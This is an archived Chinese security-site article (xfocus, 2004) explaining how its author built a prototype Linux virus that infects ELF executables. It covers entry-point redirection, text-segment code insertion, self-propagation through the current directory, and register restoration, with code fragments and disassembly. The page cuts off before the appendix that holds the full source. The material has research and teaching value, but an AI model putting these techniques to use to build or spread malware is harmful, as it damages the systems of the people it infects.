📄 763.html
字号:
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<title>一个Linux病毒原型分析 </title>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<meta name="Keywords" content="安全焦点, xfocus, 陷阱网络, honeynet, honeypot, 调查取证, forensic, 入侵检测, intrusion detection, 无线安全, wireless security, 安全论坛, security forums, 安全工具, security tools, 攻击程序, exploits, 安全公告, security advisories, 安全漏洞, security vulnerabilities, 安全教程, security tutorials, 安全培训, security training, 安全帮助, security help, 安全标准, security standards, 安全代码, security code, 安全资源, security resources, 安全编程, security programming, 加密, cryptography,Linux病毒,病毒" />
<link rel="stylesheet" href="../../css/plone.css" type="text/css">
</head>
<body bgcolor="#FFFFFF" text="#000000">
<div class="top">
<div class="searchBox">
<form name="searchform" action="http://www.google.com/search" method="get">
<input type="hidden" name="domains" value="www.xfocus.net">
<input type="hidden" name="sitesearch" value="www.xfocus.net">
<input type="text" name="q" size="20">
<input type="submit" name="btnG" value="Google Search">
</form>
</div>
<img src="../../images/logo.gif" border="0" width="180" height="80" alt="xfocus logo">
<img src="../../images/title.gif" border="0" width="230" height="20" alt="xfocus title">
</div>
<div class="tabs">
<a href="../../index.html" class="plain">首页</a>
<a href="../../releases/index.html" class="plain">焦点原创</a>
<a href="../../articles/index.html" class="selected">安全文摘</a>
<a href="../../tools/index.html" class="plain">安全工具</a>
<a href="../../vuls/index.html" class="plain">安全漏洞</a>
<a href="../../projects/index.html" class="plain">焦点项目</a>
<a href="https://www.xfocus.net/bbs/index.php?lang=cn" class="plain">焦点论坛</a>
<a href="../../about/index.html" class="plain">关于我们</a>
</div>
<div class="personalBar">
<a href='https://www.xfocus.net/php/add_article.php'>添加文章</a> <a href='http://www.xfocus.org/'>English Version</a>
</div>
<table class="columns">
<tr>
<td class="left">
<div class="box">
<h5> 文章分类 </h5>
<div class="body">
<div class="content odd">
<div style="white-space: nowrap;">
<img src='../../images/folder_icon.gif' border='0'> <a href='../../articles/4.html'><b>专题文章 <<</b></a><br><img src='../../images/folder_icon.gif' border='0'> <a href='../../articles/2.html'>漏洞分析</a><br><img src='../../images/folder_icon.gif' border='0'> <a href='../../articles/3.html'>安全配置</a><br><img src='../../images/folder_icon.gif' border='0'> <a href='../../articles/1.html'>黑客教学</a><br><img src='../../images/folder_icon.gif' border='0'> <a href='../../articles/5.html'>编程技术</a><br><img src='../../images/folder_icon.gif' border='0'> <a href='../../articles/7.html'>工具介绍</a><br><img src='../../images/folder_icon.gif' border='0'> <a href='../../articles/6.html'>火墙技术</a><br><img src='../../images/folder_icon.gif' border='0'> <a href='../../articles/8.html'>入侵检测</a><br><img src='../../images/folder_icon.gif' border='0'> <a href='../../articles/9.html'>破解专题</a><br><img src='../../images/folder_icon.gif' border='0'> <a href='../../articles/11.html'>焦点公告</a><br><img src='../../images/folder_icon.gif' border='0'> <a href='../../articles/12.html'>焦点峰会</a><br>
</div>
</div>
</div>
</div>
<div class="box">
<h5> 文章推荐 </h5>
<div class="body">
<div class="content odd">
<img src='../../images/document_icon.gif' border='0'> <a href='../../articles/200408/733.html'>补丁管理最佳安全实践之资产评估</a><br><img src='../../images/document_icon.gif' border='0'> <a href='../../articles/200404/689.html'>国内网络安全风险评估市场与技术操作</a><br><img src='../../images/document_icon.gif' border='0'> <a href='../../articles/200410/743.html'>协作的信息系统风险评估</a><br>
</div>
</div>
</div>
</td>
<td class="main">
<h1>一个Linux病毒原型分析</h1><br>创建时间:2004-12-20<br>文章属性:整理<br>文章提交:<a href='https://www.xfocus.net/bbs/index.php?lang=cn&act=Profile&do=03&MID=73724'>sysc0n</a> (zrj97_at_163.net)<br><br>文摘出处:<a href='http://www.linuxforum.net' target='_blank'>http://www.linuxforum.net</a><br />
作者:grip2 <gript2@hotmail.com> <br />
日期:2004/12/12 <br />
<br />
<br />
内容: <br />
1 -- 介绍 <br />
2 -- ELF Infector (ELF文件感染器) <br />
3 -- 病毒原型的工作过程 <br />
4 -- 关键技术问题及处理 <br />
5 -- 在一个新的编译环境下的调试方法 <br />
6 -- 最后 <br />
7 -- 参考文献 <br />
8 -- 附录 - ELF文件感染工具和病毒原型源代码 <br />
<br />
<br />
一、 ** 介绍 <br />
<br />
写这篇文章的目的主要是对最近写的一个Linux病毒原型代码做一个总结, <br />
同时向对这方面有兴趣的朋友做一个简单的介绍。 <br />
<br />
阅读这篇文章你需要一些知识,要对ELF有所了解、能够阅读一些嵌入 <br />
了汇编的C代码、了解病毒的基本工作原理。 <br />
<br />
二、 ** ELF Infector (ELF文件感染器) <br />
<br />
为了制作病毒文件,我们需要一个ELF文件感染器,用于制造第一个带毒文件。 <br />
<br />
对于ELF文件感染技术,在Silvio Cesare的《UNIX ELF PARASITES AND VIRUS》 <br />
一文中已经有了一个非常好的分析、描述,在这方面我还没有发现可以对其进行补充的 <br />
地方,因此在这里我把Silvio Cesare对ELF Infection过程的总结贴出来,以供参考: <br />
<br />
The final algorithm is using this information is. <br />
* Increase p_shoff by PAGE_SIZE in the ELF header <br />
* Patch the insertion code (parasite) to jump to the entry point <br />
(original) <br />
* Locate the text segment program header <br />
* Modify the entry point of the ELF header to point to the new <br />
code (p_vaddr + p_filesz) <br />
* Increase p_filesz by account for the new code (parasite) <br />
* Increase p_memsz to account for the new code (parasite) <br />
* For each phdr who's segment is after the insertion (text segment) <br />
* increase p_offset by PAGE_SIZE <br />
* For the last shdr in the text segment <br />
* increase sh_len by the parasite length <br />
* For each shdr who's section resides after the insertion <br />
* Increase sh_offset by PAGE_SIZE <br />
* Physically insert the new code (parasite) and pad to PAGE_SIZE, into <br />
the file - text segment p_offset + p_filesz (original) <br />
<br />
在Linux病毒原型中所使用的gei - ELF Infector即是根据这个原理写的。在 <br />
附录中你可以看到这个感染工具的源代码: g-elf-infector.c <br />
<br />
g-elf-infector与病毒是独立开的,其只在制作第一个病毒文件时被使用。我简单介 <br />
绍一下它的使用方法,g-elf-infector.c可以被用于任何希望--将二进制代码插入到 <br />
指定文件的文本段,并在目标文件执行时首先被执行--的用途上。g-elf-infector.c <br />
的接口很简单,你只需要提供以下三个定义: <br />
<br />
* 存放你的二进制代码返回地址的地址,这里需要的是这个地址与代码起始 <br />
地址的偏移,用于返回到目标程序的正常入口 <br />
#define PARACODE_RETADDR_ADDR_OFFSET 1232 <br />
<br />
* 要插入的二进制代码(由于用C编写,所以这里需要以一个函数的方式提供) <br />
void parasite_code(void); <br />
<br />
* 二进制代码的结束(为了易用,这里用一个结尾函数来进行代码长度计算) <br />
void parasite_code_end(void); <br />
<br />
parasite_code_end应该是parasite_code函数后的第一个函数定义,通常应该如下表示 <br />
void parasite_code(void) <br />
{ <br />
... <br />
... <br />
... <br />
} <br />
void parasite_code_end(void) {} <br />
<br />
在这里存在一个问题,就是编译有可能在编译时将parasite_code_end放在parasite_code <br />
地址的前面,这样会导致计算代码长度时失败,为了避免这个问题,你可以这样做 <br />
void parasite_code(void) <br />
{ <br />
... <br />
... <br />
... <br />
} <br />
void parasite_code_end(void) {parasite_code();} <br />
<br />
有了这三个定义,g-elf-infector就能正确编译,编译后即可用来ELF文件感染 <br />
~grip2@linux> ./gei foo <br />
<br />
<br />
三、** 病毒原型的工作过程 <br />
<br />
1 首先通过ELF Infector将病毒代码感染到一个ELF文件,这样就创造了第一 <br />
个带毒文件,后续的传播就由它来完成。 <br />
2 当带毒文件被执行时,会首先跳到病毒代码开始执行。 <br />
3 病毒代码开始发作,在这个原型里,病毒会直接开始传播。 <br />
4 病毒遍历当前目录下的每一个文件,如果是符合条件的ELF文件就开始感染。 <br />
5 病毒的感染过程和ELF Infector的过程类似,但由于工作环境的不同, <br />
代码的实现也是有较大区别的。 <br />
6 目前传染对ELF文件的基本要求是文本段要有剩余空间能够容纳病毒代码, <br />
如果无法满足,病毒会忽略此ELF。对于被感染过一次的ELF文件,文本段将不会有 <br />
剩余的空间,因此二次感染是不会发生的。 <br />
7 病毒代码执行过后,会恢复堆栈和所有寄存器(这很重要),然后跳回到 <br />
真正的可执行文件入口,开始正常的运行过程。 <br />
<br />
上面对病毒原型的工作过程的介绍也许显得千篇一律了,和我们早就熟知的 <br />
关于病毒的一些介绍没有什么区别?是的,的确是这样,原理都是类似的,关键是要看 <br />
实现。下面我们就将通过对一些技术问题的分析来了解具体的实现思路。 <br />
<br />
<br />
四、** 关键技术问题及处理 <br />
<br />
1 ELF文件执行流程重定向和代码插入 <br />
<br />
在ELF文件感染的问题上,ELF Infector与病毒传播时调用的infect_virus思路是一样的: <br />
<br />
* 定位到文本段,将病毒的代码接到文本段的尾部。这个过程的关键是要熟悉 <br />
ELF文件的格式,将病毒代码复制到文本段尾部后,能够根据需要调整文本段长度改变 <br />
所影响到的后续段(segment)或节(section)的虚拟地址。同时注意把新引入的文本段部 <br />
分与一个.setion建立关联,防止strip这样的工具将插入的代码去除。还有一点就是要 <br />
注意文本段增加长度的对齐问题,见ELF文档中的描述: <br />
p_align <br />
As ``Program Loading'' later in this part describes, loadable <br />
process segments must have congruent values for p_vaddr and <br />
p_offset, modulo the page size. <br />
<br />
* 通过过将ELF文件头中的入口地址修改为病毒代码地址来完成代码重定向: <br />
/* Modify the entry point of the ELF */ <br />
org_entry = ehdr->e_entry; <br />
ehdr->e_entry = phdr[txt_index].p_vaddr + phdr[txt_index].p_filesz; <br />
<br />
2 病毒代码如何返回到真正的ELF文件入口 <br />
<br />
方法技巧应该很多,这里采用的方法是PUSH+RET组合: <br />
__asm__ volatile ( <br />
... <br />
"return:\n\t" <br />
"push $0xAABBCCDD\n\t" /* push ret_addr */ <br />
"ret\n" <br />
::); <br />
其中0xAABBCCDD处存放的是真正的程序入口地址,这个值在插入病毒代码时由感染程 <br />
序来填写。 <br />
<br />
3 堆栈和寄存器的恢复 <br />
<br />
病毒代码必须保证运行前、后的堆栈和寄存器内容完全相同,这通过增加额外的代码 <br />
来完成。 <br />
在进入时: <br />
__asm__ volatile ( <br />
"push %%eax\n\t" <br />
"push %%ecx\n\t" <br />
"push %%edx\n\t" <br />
::); <br />
退出时: <br />
__asm__ volatile ( <br />
"popl %%edx\n\t" <br />
"popl %%ecx\n\t" <br />
"popl %%eax\n\t" <br />
"addl $0x102c, %%esp\n\t" <br />
"popl %%ebx\n\t" <br />
"popl %%esi\n\t" <br />
"popl %%edi\n\t" <br />
"popl %%ebp\n\t" <br />
"jmp return\n" <br />
<br />
要注意上面的代码是根据特定的编译器、编译选项来调整的,在不同的环境下如果重 <br />
新编译病毒程序,可能还需要做一些调整。 <br />
<br />
4 字符串的使用 <br />
<br />
write(1, "hello world\n", 12); <br />
在病毒代码中这样对一个字符串直接引用是不可以的。这是对字符串的使用是一个绝 <br />
对地址引用,病毒代码在进入到一个新的宿主内后,这一绝对地址的内容是无法得到 <br />
保证的,因此在病毒代码内应该使用相对地址或间接地址进行字符串访问。 <br />
下面是Silvio Cesare的《UNIX ELF PARASITES AND VIRUS》中的一个解决办法,利用 <br />
了缓冲区溢出中shellcode的编写技术: <br />
In x86 Linux, some syscalls require the use of an absolute address pointing to <br />
initialized data. This can be made relocatable by using a common trick used <br />
in buffer overflow code. <br />
<br />
jmp A <br />
B: <br />
pop %eax ; %eax now has the address of the string <br />
. ; continue as usual <br />
. <br />
. <br />
<br />
A: <br />
call B <br />
.string \"hello\" <br />
By making a call directly proceeding the string of interest, the address of <br />
the string is pushed onto the stack as the return address. <br />
<br />
但是在编写这个linux病毒原型代码时,我并没有使用这个方法,我尽力使代码使用 <br />
C语言的语法: <br />
char tmpfile[32] = {'/','t','m','p','/','.','g','v','i','r','u','s','\0'}; <br />
<br />
#ifndef NDEBUG <br />
char err_type[32] = {'f','i','l','e',' ','t','y','p','e',' ','n','o','t',' ', <br />
's','u','p','p','o','r','t','e','d','\n','\0'}; <br />
char luck[32] = {'B','e','t','t','e','r',' ','l','u','c','k',' ', <br />
'n','e','x','t',' ','f','i','l','e','\n','\0'}; <br />
#endif <br />
<br />
在这里将字符串以字符数组的形式出现,编译之后的代码是这样: <br />
... <br />
movb $47, -8312(%ebp) <br />
movb $116, -8311(%ebp) <br />
movb $109, -8310(%ebp) <br />
movb $112, -8309(%ebp) <br />
movb $47, -8308(%ebp) <br />
movb $46, -8307(%ebp) <br />
movb $103, -8306(%ebp) <br />
movb $118, -8305(%ebp) <br />
movb $105, -8304(%ebp) <br />
movb $114, -8303(%ebp) <br />
movb $117, -8302(%ebp) <br />
movb $115, -8301(%ebp) <br />
... <br />
这样带来一个负面影响就是增加了代码长度,但是适当的使用对代码长度影响并不大。 <br />
值得注意的一点是,当字符数组定义的尺寸超过了64时,在我的编译环境下,编译器 <br />
对代码进行了优化,会导致编译后代码成为: <br />
... <br />
.section .rodata <br />
.LC0: <br />
.byte 47 <br />
.byte 116 <br />
.byte 109 <br />
.byte 112 <br />
.byte 47 <br />
.byte 46 <br />
.byte 103 <br />
.byte 118 <br />
.byte 105 <br />
.byte 114 <br />
.byte 117 <br />
.byte 115 <br />
.byte 0 <br />
... <br />
数据被放到了.rodata section中,这样就使得其无法随病毒代码一起进入宿主,会 <br />
造成访问失败,所以注意数组的申请尽量保持32以内,防止编译器优化。 <br />
<br />
除此之外,使用整型数组的方法也与此类似,不再赘述。 <br />
<br />
5 遭遇gcc-3.3的bug <br />
<br />
gvirus.c中有一部分的数据初始化是这样的: <br />
... <br />
char curdir[2] = {'.', 0}; <br />
char newline = '\n'; <br />
<br />
curdir[0] = '.'; <br />
curdir[1] = 0; <br />
newline = '\n'; <br />
<br />
if ((curfd = g_open(curdir, O_RDONLY, 0)) < 0) <br />
goto out; <br />
... <br />
<br />
也许你会奇怪,为什么curdir和newline在已经初始化后还要重新赋值,这其中的原因 <br />
是为了绕过一个gcc的bug。 <br />
在我的编译环境下,当只做 <br />
char curdir[2] = {'.', 0}; <br />
char newline = '\n'; <br />
这样的初始化时,反汇编代码如下: <br />
... <br />
0x08048cb0 <parasite_code+0>: push %ebp <br />
0x08048cb1 <parasite_code+1>: push %edi <br />
0x08048cb2 <parasite_code+2>: push %esi <br />
0x08048cb3 <parasite_code+3>: push %ebx <br />
0x08048cb4 <parasite_code+4>: sub $0x20bc,%esp <br />
0x08048cba <parasite_code+10>: push %eax <br />
0x08048cbb <parasite_code+11>: push %ecx <br />
0x08048cbc <parasite_code+12>: push %edx <br />
0x08048cbd <parasite_code+13>: xor %ecx,%ecx <br />
0x08048cbf <parasite_code+15>: lea 0x4e(%esp),%ebx <-- 使用curdir <br />
0x08048cc3 <parasite_code+19>: mov $0x5,%eax <br />
0x08048cc8 <parasite_code+24>: mov %ecx,%edx <br />
0x08048cca <parasite_code+26>: int $0x80 <-- g_open系统调用 <br />
0x08048ccc <parasite_code+28>: mov %eax,0x38(%esp) <br />
0x08048cd0 <parasite_code+32>: cmp $0xffffff82,%eax <br />
0x08048cd3 <parasite_code+35>: jbe 0x8048cdd <parasite_code+45> <br />
0x08048cd5 <parasite_code+37>: movl $0xffffffff,0x38(%esp) <br />
0x08048cdd <parasite_code+45>: mov 0x38(%esp),%eax <br />
0x08048ce1 <parasite_code+49>: test %eax,%eax <br />
0x08048ce3 <parasite_code+51>: js 0x804915d <infect_start+1128> <br />
0x08048ce9 <parasite_code+57>: movw $0x2e,0x4e(%esp) <-- curdir的初始化 <br />
... <br />
从注释可以看出,在这种情况下,curdir的初始化被放到了g_open使用其做参数之后。 <br />
<br />
当加入 <br />
curdir[0] = '.'; <br />
curdir[1] = 0; <br />
newline = '\n'; <br />
后,反汇编代码如下: <br />
... <br />
0x08048cb0 <parasite_code+0>: push %ebp <br />
0x08048cb1 <parasite_code+1>: push %edi <br />
0x08048cb2 <parasite_code+2>: push %esi <br />
0x08048cb3 <parasite_code+3>: push %ebx <br />
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -